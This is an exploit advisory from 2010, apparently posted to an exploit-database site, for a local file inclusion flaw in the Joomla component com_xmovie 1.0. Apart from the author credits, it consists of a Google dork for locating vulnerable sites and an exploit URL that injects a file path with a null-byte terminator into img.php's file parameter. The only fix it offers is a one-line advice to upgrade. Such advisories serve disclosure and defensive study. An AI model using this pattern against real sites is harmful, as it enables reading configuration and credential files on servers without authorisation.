Joomla Component com_xmovie 1.0 Local File Inclusion Vulnerability

2010-12-24 16:38:45

# Exploit Title: Joomla Component com_xmovie 1.0 Local File Inclusion Vulnerability
# Author: KelvinX ([email protected])
# Websites: http://xgroup.vn, http://kelvinx.net, http://facebook.com/kelvinxgr
# Date: December, 24-2010
# Location: HCM City, Vietnam

------------------------

# Application: com_xmovie
# Version: 1.0
# Vendor: http://extensions.joomla.org/extensions/multimedia/multimedia-players/video-players-a-gallery/15297
# Google Dorks: inurl:com_xmovie

------------------------

Exploit: http://www.site.com/components/com_xmovie/helpers/img.php?file=[LFI]%00

------------------------

# Solution: Upgrade to the most recent version

Fixes

No fixes

In order to submit a new fix you need to be registered.